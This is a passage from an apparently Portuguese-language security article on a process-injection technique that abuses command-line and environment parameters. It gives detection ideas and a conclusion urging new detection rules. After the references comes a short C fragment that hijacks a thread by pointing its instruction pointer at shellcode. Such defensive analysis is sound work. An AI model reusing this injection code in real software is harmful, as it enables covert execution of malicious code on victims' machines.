- Criação de um processo em que um dos três parâmetros abusados gere suspeita. Por exemplo, se a entropia da linha de comando estiver próxima da entropia do shellcode ou distante da entropia de um valor normal de linha de comando. Além disso, o comprimento do parâmetro fornecido é excessivo ou muitos caracteres incomuns estarão presentes nele. No entanto, confiar somente nisso provavelmente estará sujeito a falsos positivos.
- Leitura da estrutura de parâmetros de processo de um processo remoto para a qual o PEB possui um ponteiro.

---

## 8. Conclusão
 
Em resumo, atacantes podem contornar soluções de segurança modernas por meio de novas ideias e pequenas modificações, seja desenvolvendo novas técnicas ou reaplicando técnicas antigas de maneiras inovadoras. 
Portanto, é importante desenvolver continuamente novas regras de detecção e não confiar apenas em uma solução existente.

---

## 9. Referências

[1] https://web.archive.org/web/20241211190548/https://modexp.wordpress.com/2020/07/31/wpi-cmdline-envar/
Baixar ferramenta

status = winapi.NtGetContextThread(*hThread, &ctx); if (!NT_SUCCESS(status)) { SetColor(FOREGROUND_RED); printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status); return status; }

ctx.Rip = (DWORD64)shellcode;

status = winapi.NtSetContextThread(*hThread, &ctx); if (!NT_SUCCESS(status)) { SetColor(FOREGROUND_RED); printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status); return status; }

return 0; }